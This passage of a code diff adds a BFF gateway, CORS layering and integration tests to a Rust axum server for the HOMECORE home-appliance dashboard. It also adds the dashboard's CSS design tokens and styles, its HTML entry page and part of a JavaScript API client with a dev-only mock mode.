/// SQLite recorder DB path. Use `:memory:` for an ephemeral run.
|
||||
#[arg(long, env = "HOMECORE_DB", default_value = "sqlite::memory:")]
|
||||
db: String,
|
||||
@@ -174,15 +210,59 @@ async fn main() -> Result<()> {
|
||||
env!("CARGO_PKG_VERSION"),
|
||||
tokens,
|
||||
);
|
||||
let app = router(api_state);
|
||||
// BFF gateway (ADR-131 §11): single-origin aggregation of the
|
||||
// calibration API + SEED/appliance tiers. Shares the same token store
|
||||
// for auth; upstream credentials stay server-side.
|
||||
let gw = GatewayState::new(
|
||||
api_state.clone(),
|
||||
GatewayConfig {
|
||||
calibration_url: cli.calibration_url.clone(),
|
||||
calibration_token: cli.calibration_token.clone(),
|
||||
apps_dir: std::path::PathBuf::from(&cli.apps_dir),
|
||||
timeout: std::time::Duration::from_millis(cli.gateway_timeout_ms),
|
||||
},
|
||||
);
|
||||
// Merge the HA-compat API + UI mount with the BFF gateway, THEN apply the
|
||||
// audited CORS allowlist + request tracing to the WHOLE surface. The
|
||||
// gateway routes (`/api/homecore/*`, `/api/cal/*`) are merged in outside
|
||||
// `router()`'s own layers, so without this outer layer they would have NO
|
||||
// CORS coverage and would not be traced (ADR-131 §11 review). Applying CORS
|
||||
// again to the homecore-api routes is idempotent.
|
||||
let app = build_app(api_state, &cli.ui_dir)
|
||||
.merge(gateway::gateway_router(gw))
|
||||
.layer(build_cors_layer())
|
||||
.layer(TraceLayer::new_for_http());
|
||||
let listener = tokio::net::TcpListener::bind(cli.bind).await?;
|
||||
info!("HOMECORE-API listening on http://{} (HA-compat /api + /api/websocket)", cli.bind);
|
||||
info!(
|
||||
"HOMECORE BFF gateway active: /api/homecore/* + /api/cal/* (calibration_url={:?})",
|
||||
cli.calibration_url
|
||||
);
|
||||
if !cli.ui_dir.trim().is_empty() {
|
||||
info!("HOMECORE-UI (ADR-131) served at http://{}/homecore/ from {}", cli.bind, cli.ui_dir);
|
||||
} else {
|
||||
info!("HOMECORE-UI mount disabled (--ui-dir empty)");
|
||||
}
|
||||
|
||||
// Run forever (until SIGINT). axum::serve handles graceful shutdown.
|
||||
axum::serve(listener, app).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Assemble the full HTTP surface: the HA-compat REST + WS router
|
||||
/// (ADR-130) plus the HOMECORE-UI static mount at `/homecore` (ADR-131).
|
||||
/// Split out from `main` so it is exercised by the integration tests.
|
||||
fn build_app(api_state: SharedState, ui_dir: &str) -> Router {
|
||||
let app = router(api_state);
|
||||
if ui_dir.trim().is_empty() {
|
||||
return app;
|
||||
}
|
||||
// ServeDir serves index.html for the directory root, so /homecore/
|
||||
// returns the dashboard and /homecore/js/... /homecore/css/... map
|
||||
// straight onto the asset tree the relative <link>/<script> tags use.
|
||||
app.nest_service("/homecore", ServeDir::new(ui_dir))
|
||||
}
|
||||
|
||||
fn init_tracing() {
|
||||
tracing_subscriber::fmt()
|
||||
.with_env_filter(
|
||||
@@ -304,3 +384,147 @@ fn seed_default_entities(hc: &HomeCore) {
|
||||
info!("State machine seeded with {} default entit{}", total,
|
||||
if total == 1 { "y" } else { "ies" });
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod ui_tests {
|
||||
use super::*;
|
||||
use axum::body::Body;
|
||||
use axum::http::{Request, StatusCode};
|
||||
use homecore::HomeCore;
|
||||
use homecore_api::{LongLivedTokenStore, SharedState};
|
||||
use tower::ServiceExt; // for `oneshot`
|
||||
|
||||
fn test_state() -> SharedState {
|
||||
SharedState::with_tokens(
|
||||
HomeCore::new(),
|
||||
"Test".to_string(),
|
||||
"test",
|
||||
LongLivedTokenStore::allow_any_non_empty(),
|
||||
)
|
||||
}
|
||||
|
||||
async fn get(app: Router, path: &str) -> (StatusCode, String) {
|
||||
let resp = app
|
||||
.oneshot(Request::builder().uri(path).body(Body::empty()).unwrap())
|
||||
.await
|
||||
.unwrap();
|
||||
let status = resp.status();
|
||||
let bytes = axum::body::to_bytes(resp.into_body(), 4 * 1024 * 1024)
|
||||
.await
|
||||
.unwrap();
|
||||
(status, String::from_utf8_lossy(&bytes).into_owned())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn ui_index_is_served_at_homecore() {
|
||||
let app = build_app(test_state(), DEFAULT_UI_DIR);
|
||||
let (status, body) = get(app, "/homecore/").await;
|
||||
assert_eq!(status, StatusCode::OK, "GET /homecore/ should serve index.html");
|
||||
assert!(body.contains("HOMECORE"), "index.html should mention HOMECORE");
|
||||
assert!(body.contains("./js/app.js"), "index.html should bootstrap app.js");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn ui_design_tokens_are_served() {
|
||||
let app = build_app(test_state(), DEFAULT_UI_DIR);
|
||||
let (status, body) = get(app, "/homecore/css/tokens.css").await;
|
||||
assert_eq!(status, StatusCode::OK);
|
||||
// §3.1 invariant: the exact production palette must be present.
|
||||
assert!(body.contains("#4ecdc4"), "--cyan token must be present");
|
||||
assert!(body.contains("--purple"), "--purple token must be present");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn ui_panels_are_served() {
|
||||
let app = build_app(test_state(), DEFAULT_UI_DIR);
|
||||
for p in ["dashboard", "rooms", "calibration", "fleet", "seed-detail",
|
||||
"entities", "cogs", "events", "audit", "settings"] {
|
||||
let (status, _) = get(app.clone(), &format!("/homecore/js/panels/{p}.js")).await;
|
||||
assert_eq!(status, StatusCode::OK, "panel {p}.js should be served");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn api_still_works_alongside_ui_mount() {
|
||||
let app = build_app(test_state(), DEFAULT_UI_DIR);
|
||||
// `GET /api/` is auth-gated (HC-API-AUTH-01); send a bearer.
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.uri("/api/")
|
||||
.header("authorization", "Bearer dev")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
let status = resp.status();
|
||||
let bytes = axum::body::to_bytes(resp.into_body(), 1 << 20).await.unwrap();
|
||||
let body = String::from_utf8_lossy(&bytes);
|
||||
assert_eq!(status, StatusCode::OK, "the HA-compat API must coexist with the UI mount");
|
||||
assert!(body.contains("API running"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn ui_mount_can_be_disabled() {
|
||||
let app = build_app(test_state(), "");
|
||||
let (status, _) = get(app, "/homecore/").await;
|
||||
assert_eq!(status, StatusCode::NOT_FOUND, "empty --ui-dir disables the mount");
|
||||
}
|
||||
|
||||
/// Build the SAME merged + layered surface `main()` serves: API + UI mount
|
||||
/// + BFF gateway, with the audited CORS allowlist + tracing applied to the
|
||||
/// whole thing. Used to prove the gateway routes are CORS-covered.
|
||||
fn full_app(state: SharedState) -> Router {
|
||||
use crate::gateway::{GatewayConfig, GatewayState};
|
||||
let gw = GatewayState::new(
|
||||
state.clone(),
|
||||
GatewayConfig {
|
||||
calibration_url: None,
|
||||
calibration_token: None,
|
||||
apps_dir: std::path::PathBuf::from("/nonexistent-apps-dir"),
|
||||
timeout: std::time::Duration::from_millis(200),
|
||||
},
|
||||
);
|
||||
build_app(state, "")
|
||||
.merge(crate::gateway::gateway_router(gw))
|
||||
.layer(homecore_api::build_cors_layer())
|
||||
.layer(TraceLayer::new_for_http())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn gateway_routes_are_cors_covered_after_merge() {
|
||||
// A CORS preflight from the Vite dev origin must succeed (echo the
|
||||
// allowed origin) for a GATEWAY route — proving the outer CORS layer
|
||||
// covers the merged routes, not just the homecore-api ones.
|
||||
let app = full_app(test_state());
|
||||
let resp = app
|
||||
.oneshot(
|
||||
Request::builder()
|
||||
.method("OPTIONS")
|
||||
.uri("/api/homecore/appliance")
|
||||
.header("origin", "http://localhost:5173")
|
||||
.header("access-control-request-method", "GET")
|
||||
.header("access-control-request-headers", "authorization")
|
||||
.body(Body::empty())
|
||||
.unwrap(),
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
// CORS preflight handled by the layer → 2xx with the origin echoed back.
|
||||
assert!(
|
||||
resp.status().is_success(),
|
||||
"gateway preflight should succeed, got {}",
|
||||
resp.status()
|
||||
);
|
||||
let allow_origin = resp
|
||||
.headers()
|
||||
.get("access-control-allow-origin")
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.unwrap_or("");
|
||||
assert_eq!(
|
||||
allow_origin, "http://localhost:5173",
|
||||
"gateway route must echo the allowlisted dev origin"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,223 @@
|
||||
/*
|
||||
* HOMECORE-UI component styling — ADR-131 §3.3.
|
||||
* Uses only the §3.1 tokens (tokens.css). Polished composition: real
|
||||
* header, icon sidenav, elevated cards, refined metrics/pills/bars.
|
||||
*/
|
||||
|
||||
* { box-sizing: border-box; }
|
||||
|
||||
html, body {
|
||||
margin: 0; padding: 0;
|
||||
background:
|
||||
radial-gradient(1100px 600px at 78% -8%, rgba(78,205,196,0.06), transparent 60%),
|
||||
radial-gradient(900px 500px at 12% 110%, rgba(167,139,250,0.05), transparent 55%),
|
||||
var(--bg);
|
||||
background-attachment: fixed;
|
||||
color: var(--t1);
|
||||
font-family: var(--font);
|
||||
font-size: 14px;
|
||||
line-height: 1.5;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
}
|
||||
|
||||
.mono { font-family: var(--mono); font-size: 0.92em; }
|
||||
.t2 { color: var(--t2); } .t3 { color: var(--t3); }
|
||||
.cyan { color: var(--cyan); } .green { color: var(--green); } .amber { color: var(--amber); }
|
||||
.red { color: var(--red); } .purple { color: var(--purple); }
|
||||
.hidden { display: none !important; }
|
||||
|
||||
/* ── top header ─────────────────────────────────────────────────── */
|
||||
.topnav {
|
||||
display: flex; align-items: center; gap: 16px;
|
||||
background: rgba(17,22,39,0.85);
|
||||
backdrop-filter: blur(8px);
|
||||
border-bottom: 1px solid var(--border);
|
||||
padding: 0 22px; height: 60px;
|
||||
position: sticky; top: 0; z-index: 30;
|
||||
}
|
||||
.brand { display: flex; align-items: center; gap: 10px; }
|
||||
.brand .logo {
|
||||
display: inline-flex; align-items: center; justify-content: center;
|
||||
width: 30px; height: 30px; border-radius: 8px;
|
||||
background: linear-gradient(135deg, var(--cyan), var(--purple));
|
||||
color: var(--bg); font-weight: 800; font-size: 17px;
|
||||
box-shadow: 0 2px 10px rgba(78,205,196,0.25);
|
||||
}
|
||||
.brand .brand-name { font-weight: 700; font-size: 16px; letter-spacing: 0.3px; color: var(--t1); }
|
||||
.brand .brand-sep { color: var(--t3); font-size: 16px; font-weight: 300; }
|
||||
.brand .brand-tag {
|
||||
font-weight: 700; font-size: 12px; letter-spacing: 1px;
|
||||
color: var(--cyan); background: var(--cyan-d);
|
||||
border-radius: 6px; padding: 3px 9px; text-transform: uppercase;
|
||||
}
|
||||
.nav-spacer { flex: 1; }
|
||||
|
||||
/* ── layout ─────────────────────────────────────────────────────── */
|
||||
.shell { display: flex; min-height: calc(100vh - 60px); }
|
||||
.sidenav {
|
||||
width: 224px; flex-shrink: 0;
|
||||
background: rgba(17,22,39,0.45);
|
||||
border-right: 1px solid var(--border);
|
||||
padding: 16px 12px; display: flex; flex-direction: column; gap: 3px;
|
||||
}
|
||||
.sidenav a {
|
||||
display: flex; align-items: center; gap: 11px;
|
||||
padding: 9px 12px; border-radius: 9px;
|
||||
color: var(--t2); text-decoration: none; font-size: 13.5px; font-weight: 500;
|
||||
transition: background .12s, color .12s;
|
||||
}
|
||||
.sidenav a .ico { width: 18px; text-align: center; font-size: 14px; color: var(--t3); }
|
||||
.sidenav a:hover { color: var(--t1); background: var(--card); }
|
||||
.sidenav a.active { color: var(--cyan); background: var(--cyan-d); }
|
||||
.sidenav a.active .ico { color: var(--cyan); }
|
||||
.content { flex: 1; padding: 26px 30px; max-width: 1320px; width: 100%; }
|
||||
|
||||
@media (max-width: 880px) {
|
||||
.shell { flex-direction: column; }
|
||||
.sidenav { width: 100%; flex-direction: row; overflow-x: auto; padding: 8px; gap: 6px; border-right: none; border-bottom: 1px solid var(--border); }
|
||||
.sidenav a .lbl { white-space: nowrap; }
|
||||
.content { padding: 18px; }
|
||||
}
|
||||
|
||||
/* ── headings / section header ──────────────────────────────────── */
|
||||
h1 { font-size: 23px; margin: 0 0 3px; font-weight: 700; letter-spacing: -0.2px; }
|
||||
h2 { font-size: 15px; margin: 0 0 14px; font-weight: 650; color: var(--t1); }
|
||||
h3 { font-size: 12px; margin: 0 0 8px; color: var(--t2); font-weight: 600; text-transform: uppercase; letter-spacing: 0.5px; }
|
||||
|
||||
.section-header { position: relative; padding: 14px 0 4px; margin-bottom: 20px; border-bottom: 1px solid var(--border); }
|
||||
.section-header::before { content: ''; position: absolute; top: 0; left: 0; width: 56px; height: 3px; border-radius: 3px; background: linear-gradient(90deg, var(--cyan), var(--purple)); }
|
||||
.section-header .sub { color: var(--t2); font-size: 13px; margin-top: 2px; }
|
||||
|
||||
/* ── cards ──────────────────────────────────────────────────────── */
|
||||
.card {
|
||||
background: linear-gradient(180deg, rgba(30,37,64,0.35), var(--card));
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--r);
|
||||
padding: 20px 22px; margin-bottom: 16px;
|
||||
box-shadow: 0 1px 2px rgba(0,0,0,0.25);
|
||||
}
|
||||
.card > h2:first-child { margin-bottom: 16px; }
|
||||
.card.tint-amber { background: var(--amber-d); border-color: rgba(212,165,116,0.4); }
|
||||
.card.tint-red { background: var(--red-d); border-color: rgba(224,96,96,0.4); }
|
||||
.card.tint-green { background: var(--green-d); border-color: rgba(107,203,119,0.4); }
|
||||
.card.clickable { cursor: pointer; transition: transform .12s, border-color .12s, box-shadow .12s; }
|
||||
.card.clickable:hover { transform: translateY(-2px); border-color: rgba(78,205,196,0.4); box-shadow: 0 6px 20px rgba(0,0,0,0.35); }
|
||||
|
||||
/* ── pills / badges ─────────────────────────────────────────────── */
|
||||
.pill {
|
||||
display: inline-flex; align-items: center; gap: 5px;
|
||||
border-radius: 6px; padding: 3px 9px;
|
||||
font-size: 10.5px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.5px;
|
||||
line-height: 1.5; white-space: nowrap;
|
||||
}
|
||||
.pill::before { content: ''; width: 6px; height: 6px; border-radius: 50%; background: currentColor; opacity: 0.9; }
|
||||
.pill.cyan { background: var(--cyan-d); color: var(--cyan); }
|
||||
.pill.green { background: var(--green-d); color: var(--green); }
|
||||
.pill.amber { background: var(--amber-d); color: var(--amber); }
|
||||
.pill.red { background: var(--red-d); color: var(--red); }
|
||||
.pill.purple { background: var(--purple-d); color: var(--purple); }
|
||||
.pill.grey { background: rgba(80,88,114,0.18); color: var(--t2); }
|
||||
.method { border-radius: 5px; padding: 2px 7px; font-size: 10.5px; font-weight: 700; }
|
||||
.method.get { background: var(--green-d); color: var(--green); }
|
||||
.method.post { background: var(--amber-d); color: var(--amber); }
|
||||
.method.auth { background: var(--purple-d); color: var(--purple); }
|
||||
|
||||
/* ── buttons ────────────────────────────────────────────────────── */
|
||||
.btn { font-family: var(--font); font-size: 12.5px; font-weight: 600; border-radius: 8px; padding: 8px 15px; cursor: pointer; border: none; transition: filter .12s, background .12s, transform .05s; }
|
||||
.btn:active { transform: translateY(1px); }
|
||||
.btn.primary { background: var(--cyan); color: var(--bg); }
|
||||
.btn.primary:hover { filter: brightness(1.1); box-shadow: 0 4px 14px rgba(78,205,196,0.3); }
|
||||
.btn.ghost { background: rgba(255,255,255,0.02); border: 1px solid var(--border); color: var(--t1); }
|
||||
.btn.ghost:hover { background: var(--card-h); border-color: var(--t3); }
|
||||
.btn:disabled { opacity: 0.4; cursor: not-allowed; }
|
||||
|
||||
/* ── metric cards ───────────────────────────────────────────────── */
|
||||
.metric-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(160px, 1fr)); gap: 14px; }
|
||||
.metric { position: relative; background: var(--card); border: 1px solid var(--border); border-radius: var(--r); padding: 16px 18px; overflow: hidden; }
|
||||
.metric::after { content: ''; position: absolute; left: 0; top: 0; bottom: 0; width: 3px; background: var(--cyan); opacity: 0.6; }
|
||||
.metric .ico { font-size: 15px; color: var(--t3); }
|
||||
.metric .val { font-size: 28px; font-weight: 700; color: var(--cyan); margin: 8px 0 2px; letter-spacing: -0.5px; line-height: 1; }
|
||||
.metric .val.green { color: var(--green); }
|
||||
.metric .lbl { color: var(--t2); font-size: 11.5px; text-transform: uppercase; letter-spacing: 0.4px; }
|
||||
|
||||
/* ── grids ──────────────────────────────────────────────────────── */
|
||||
.grid { display: grid; gap: 14px; }
|
||||
.grid.cols-2 { grid-template-columns: repeat(auto-fill, minmax(340px, 1fr)); }
|
||||
.grid.cols-3 { grid-template-columns: repeat(auto-fill, minmax(270px, 1fr)); }
|
||||
|
||||
/* ── bars ───────────────────────────────────────────────────────── */
|
||||
.bar { background: rgba(0,0,0,0.3); border-radius: 5px; height: 8px; overflow: hidden; width: 100%; }
|
||||
.bar > span { display: block; height: 100%; background: var(--cyan); border-radius: 5px; transition: width .3s; }
|
||||
.bar > span.green { background: var(--green); } .bar > span.amber { background: var(--amber); } .bar > span.red { background: var(--red); }
|
||||
.conf-bar { display: inline-block; width: 56px; height: 6px; background: rgba(0,0,0,0.3); border-radius: 3px; vertical-align: middle; overflow: hidden; }
|
||||
.conf-bar > span { display: block; height: 100%; background: var(--cyan); }
|
||||
.conf-bar > span.amber { background: var(--amber); }
|
||||
|
||||
/* ── provenance badge ───────────────────────────────────────────── */
|
||||
.prov { display: inline-flex; align-items: center; gap: 5px; font-family: var(--mono); font-size: 10.5px; color: var(--t2); background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 6px; padding: 2px 8px; }
|
||||
.prov .arr { color: var(--t3); } .prov .hailo { color: var(--purple); font-weight: 600; }
|
||||
|
||||
/* ── rows / kv ──────────────────────────────────────────────────── */
|
||||
.row { display: flex; justify-content: space-between; align-items: center; padding: 9px 0; border-bottom: 1px solid var(--border); gap: 12px; }
|
||||
.row:last-child { border-bottom: none; }
|
||||
.row .k { color: var(--t2); font-size: 12.5px; }
|
||||
.row .v { color: var(--t1); }
|
||||
.kv { display: grid; grid-template-columns: auto 1fr; gap: 9px 16px; align-items: center; }
|
||||
.kv .k { color: var(--t2); font-size: 12.5px; }
|
||||
.kv .v { color: var(--t1); }
|
||||
|
||||
pre.json, pre.log { font-family: var(--mono); font-size: 12px; background: rgba(0,0,0,0.35); border: 1px solid var(--border); border-radius: 8px; padding: 12px 14px; overflow: auto; max-height: 320px; color: var(--t1); white-space: pre-wrap; word-break: break-word; }
|
||||
svg.spark { display: block; }
|
||||
|
||||
/* ── banners ────────────────────────────────────────────────────── */
|
||||
.banner { border-radius: 9px; padding: 11px 15px; margin-bottom: 14px; font-size: 13px; display: flex; align-items: center; gap: 10px; flex-wrap: wrap; }
|
||||
.banner::before { font-weight: 700; }
|
||||
.banner.amber { background: var(--amber-d); color: var(--amber); border: 1px solid rgba(212,165,116,0.4); }
|
||||
.banner.amber::before { content: '▲'; }
|
||||
.banner.red { background: var(--red-d); color: var(--red); border: 1px solid rgba(224,96,96,0.4); }
|
||||
.banner.red::before { content: '●'; }
|
||||
.banner.green { background: var(--green-d); color: var(--green); border: 1px solid rgba(107,203,119,0.4); }
|
||||
.banner.green::before { content: '✓'; }
|
||||
|
||||
/* ── lag indicator ──────────────────────────────────────────────── */
|
||||
.lag { font-size: 12px; display: inline-flex; align-items: center; gap: 7px; color: var(--t2); }
|
||||
.lag .dot { width: 8px; height: 8px; border-radius: 50%; background: var(--green); display: inline-block; box-shadow: 0 0 0 3px var(--green-d); }
|
||||
.lag .dot.warn { background: var(--amber); box-shadow: 0 0 0 3px var(--amber-d); }
|
||||
.lag .dot.err { background: var(--red); box-shadow: 0 0 0 3px var(--red-d); }
|
||||
|
||||
/* ── wizard stepper ─────────────────────────────────────────────── */
|
||||
.stepper { display: flex; gap: 10px; margin-bottom: 22px; flex-wrap: wrap; }
|
||||
.step-pill { display: flex; align-items: center; gap: 9px; padding: 8px 15px; border-radius: 24px; border: 1px solid var(--border); color: var(--t3); font-size: 12.5px; font-weight: 600; }
|
||||
.step-pill .n { width: 22px; height: 22px; border-radius: 50%; background: rgba(0,0,0,0.3); display: inline-flex; align-items: center; justify-content: center; font-weight: 700; font-size: 11px; }
|
||||
.step-pill.active { color: var(--cyan); border-color: var(--cyan); background: var(--cyan-d); }
|
||||
.step-pill.active .n { background: var(--cyan); color: var(--bg); }
|
||||
.step-pill.done { color: var(--green); border-color: rgba(107,203,119,0.4); }
|
||||
.step-pill.done .n { background: var(--green); color: var(--bg); }
|
||||
|
||||
/* ── slide-over ─────────────────────────────────────────────────── */
|
||||
.slideover-back { position: fixed; inset: 0; background: rgba(0,0,0,0.6); z-index: 40; backdrop-filter: blur(2px); }
|
||||
.slideover { position: fixed; top: 0; right: 0; bottom: 0; width: 480px; max-width: 92vw; background: var(--card); border-left: 1px solid var(--border); z-index: 41; padding: 26px; overflow-y: auto; box-shadow: -12px 0 40px rgba(0,0,0,0.45); }
|
||||
.slideover .close { float: right; cursor: pointer; color: var(--t2); font-size: 16px; }
|
||||
.slideover .close:hover { color: var(--t1); }
|
||||
|
||||
/* ── inputs ─────────────────────────────────────────────────────── */
|
||||
.search { width: 100%; background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 9px; padding: 10px 13px; color: var(--t1); font-family: var(--font); font-size: 13px; }
|
||||
.search::placeholder { color: var(--t3); }
|
||||
.search:focus { outline: none; border-color: var(--cyan); box-shadow: 0 0 0 3px var(--cyan-d); }
|
||||
input.inline { background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 6px; padding: 5px 9px; color: var(--t1); font-family: var(--mono); font-size: 12px; width: 92px; }
|
||||
input.inline:focus { outline: none; border-color: var(--cyan); }
|
||||
select.inline { background: var(--bg2); border: 1px solid var(--border); border-radius: 8px; padding: 7px 10px; color: var(--t1); font-family: var(--font); font-size: 13px; }
|
||||
textarea.inline { background: rgba(0,0,0,0.3); border: 1px solid var(--border); border-radius: 8px; padding: 10px; color: var(--t1); font-family: var(--mono); font-size: 12px; width: 100%; }
|
||||
|
||||
/* ── collapsible ────────────────────────────────────────────────── */
|
||||
.collapsible > .head { cursor: pointer; display: flex; align-items: center; gap: 9px; padding: 4px 0; user-select: none; }
|
||||
.collapsible > .head::before { content: '▸'; color: var(--t3); transition: transform .15s; font-size: 11px; }
|
||||
.collapsible.open > .head::before { transform: rotate(90deg); }
|
||||
.muted-empty { color: var(--t3); font-style: italic; padding: 10px 0; }
|
||||
|
||||
.shield.ok { color: var(--green); } .shield.bad { color: var(--red); }
|
||||
.flex { display: flex; gap: 10px; align-items: center; }
|
||||
.flex.wrap { flex-wrap: wrap; } .spread { justify-content: space-between; } .gap-sm { gap: 6px; }
|
||||
.mt { margin-top: 14px; } .mb { margin-bottom: 14px; }
|
||||
small.ts { color: var(--t3); font-size: 11.5px; }
|
||||
strong.mono { font-size: 13px; color: var(--t1); }
|
||||
@@ -0,0 +1,34 @@
|
||||
/*
|
||||
* HOMECORE-UI design tokens — ADR-131 §3.1 / §3.2.
|
||||
*
|
||||
* These values are extracted verbatim from the production Cognitum
|
||||
* platform (seed.cognitum.one/store + /status). DO NOT introduce new
|
||||
* colours, typefaces, or border radii — ADR-131 §3.3 invariant. A user
|
||||
* navigating from the Cog Store into HOMECORE must not notice a seam.
|
||||
*/
|
||||
:root {
|
||||
/* §3.1 colour palette */
|
||||
--bg: #0a0e1a; /* page background (very dark navy) */
|
||||
--bg2: #111627; /* secondary background / nav strip */
|
||||
--card: #171d30; /* card / panel surface */
|
||||
--card-h: #1e2540; /* card hover state */
|
||||
--border: #252d45; /* all border strokes (~0.67px, subtle) */
|
||||
--t1: #e0e4f0; /* primary text (near-white) */
|
||||
--t2: #8890a8; /* secondary / muted text */
|
||||
--t3: #505872; /* tertiary / disabled text */
|
||||
--cyan: #4ecdc4; /* primary action colour */
|
||||
--cyan-d: rgba(78,205,196,0.15);
|
||||
--green: #6bcb77; /* success / online / healthy */
|
||||
--green-d: rgba(107,203,119,0.15);
|
||||
--amber: #d4a574; /* warning / stale / degraded */
|
||||
--amber-d: rgba(212,165,116,0.15);
|
||||
--red: #e06060; /* error / offline / veto */
|
||||
--red-d: rgba(224,96,96,0.15);
|
||||
--purple: #a78bfa; /* informational / epoch / chain */
|
||||
--purple-d: rgba(167,139,250,0.15);
|
||||
--r: 10px; /* standard border radius */
|
||||
|
||||
/* §3.2 typography */
|
||||
--font: 'Segoe UI', system-ui, -apple-system, sans-serif;
|
||||
--mono: 'Cascadia Code', 'Fira Code', Consolas, monospace;
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>HOMECORE — Cognitum Appliance</title>
|
||||
<meta name="description" content="HOMECORE operational dashboard for the two-tier Cognitum stack (ADR-131)." />
|
||||
<link rel="stylesheet" href="./css/tokens.css" />
|
||||
<link rel="stylesheet" href="./css/app.css" />
|
||||
</head>
|
||||
<body>
|
||||
<div id="app">
|
||||
<noscript>HOMECORE-UI requires JavaScript.</noscript>
|
||||
</div>
|
||||
<script type="module" src="./js/app.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,197 @@
|
||||
// HOMECORE-UI API client — ADR-131 §2 / §11.
|
||||
//
|
||||
// Production path: every method issues a SAME-ORIGIN request to the
|
||||
// homecore-server BFF gateway (§2.1). There is NO mock fallback in
|
||||
// production — a failed upstream rejects, and the panel renders a typed
|
||||
// error/empty state (§2.2, §11.11). The in-browser mock layer is a
|
||||
// DEV-ONLY fixture, reachable only when demo mode is on:
|
||||
// ?demo=1 in the URL, globalThis.HOMECORE_UI_DEMO, or
|
||||
// localStorage 'homecore_demo' = '1'.
|
||||
//
|
||||
// Gateway route map: ADR-131 §11.2.
|
||||
|
||||
// DEV-ONLY fixtures. Loaded via DYNAMIC import so a production bundle that
|
||||
// never enters demo mode never pulls mock.js into the graph (§2.2). Cached
|
||||
// after first use so repeated demo calls don't re-import.
|
||||
let _mock = null;
|
||||
async function loadMock() {
|
||||
if (!_mock) _mock = await import('./mock.js');
|
||||
return _mock;
|
||||
}
|
||||
|
||||
const demoFlags = {};
|
||||
|
||||
/** Demo mode = explicit dev opt-in only; never the production default. */
|
||||
export function demoMode() {
|
||||
try { if (typeof location !== 'undefined' && /[?&]demo=1(\b|&|$)/.test(location.search || '')) return true; } catch {}
|
||||
try { if (typeof globalThis !== 'undefined' && globalThis.HOMECORE_UI_DEMO) return true; } catch {}
|
||||
try { if (typeof localStorage !== 'undefined' && localStorage.getItem('homecore_demo') === '1') return true; } catch {}
|
||||
return false;
|
||||
}
|
||||
|
||||
export const api = {
|
||||
base: '',
|
||||
token: () => { try { return localStorage.getItem('homecore_token') || 'dev-token'; } catch { return 'dev-token'; } },
|
||||
isDemo: (key) => !!demoFlags[key],
|
||||
anyDemo: () => demoMode() && Object.keys(demoFlags).length > 0,
|
||||
demoMode,
|
||||
|
||||
async _get(path) {
|
||||
const r = await fetch(this.base + path, { headers: { Authorization: 'Bearer ' + this.token() } });
|
||||
if (!r.ok) throw httpError(path, r.status);
|
||||
return r.json();
|
||||
},
|
||||
async _post(path, body) {
|
||||
const r = await fetch(this.base + path, {
|
||||
method: 'POST',
|
||||
headers: { Authorization: 'Bearer ' + this.token(), 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(body || {}),
|
||||
});
|
||||
if (!r.ok) throw httpError(path, r.status);
|
||||
return r.json();
|
||||
},
|
||||
async _delete(path) {
|
||||
const r = await fetch(this.base + path, { method: 'DELETE', headers: { Authorization: 'Bearer ' + this.token() } });
|
||||
if (!r.ok) throw httpError(path, r.status);
|
||||
return r.status === 204 ? {} : r.json();
|
||||
},
|
||||
|
||||
// demo-gated data accessor: real gateway GET in prod, mock fixture in demo.
|
||||
// The mock module is dynamically imported ONLY on the demo branch, so prod
|
||||
// never loads it. `mockFn` receives the loaded module.
|
||||
async _data(key, path, mockFn) {
|
||||
if (demoMode()) { demoFlags[key] = true; return mockFn(await loadMock()); }
|
||||
delete demoFlags[key];
|
||||
return this._get(path);
|
||||
},
|
||||
|
||||
// ── homecore-api (real, already served) ───────────────────────────
|
||||
async config() { return this._get('/api/config'); },
|
||||
async states() {
|
||||
if (demoMode()) { demoFlags.states = true; return demoEntities(); }
|
||||
delete demoFlags.states;
|
||||
return this._get('/api/states');
|
||||
},
|
||||
async services() { return this._data('services', '/api/services', () => []); },
|
||||
async callService(domain, service, data) { return this._post(`/api/services/${domain}/${service}`, data); },
|
||||
async setState(entityId, state, attributes) { return this._post(`/api/states/${entityId}`, { state, attributes: attributes || {} }); },
|
||||
|
||||
// ── gateway /api/homecore/* + /api/events (§11.2) ─────────────────
|
||||
async appliance() { return this._data('appliance', '/api/homecore/appliance', (m) => m.applianceHealth()); },
|
||||
async seeds() { return this._data('fleet', '/api/homecore/seeds', (m) => m.seeds()); },
|
||||
async seed(id) { return this._data('fleet', '/api/homecore/seeds/' + encodeURIComponent(id), (m) => m.seed(id)); },
|
||||
async esp32Warnings() {
|
||||
if (demoMode()) { demoFlags.fleet = true; return (await loadMock()).esp32Warnings(); }
|
||||
const seeds = await this._get('/api/homecore/seeds');
|
||||
return seeds.flatMap((s) => (s.warnings || []).map((issue) => ({ node_id: s.device_id, seed: s.device_id, issue })));
|
||||
},
|
||||
async cogs() { return this._data('cogs', '/api/homecore/cogs', (m) => m.cogs()); },
|
||||
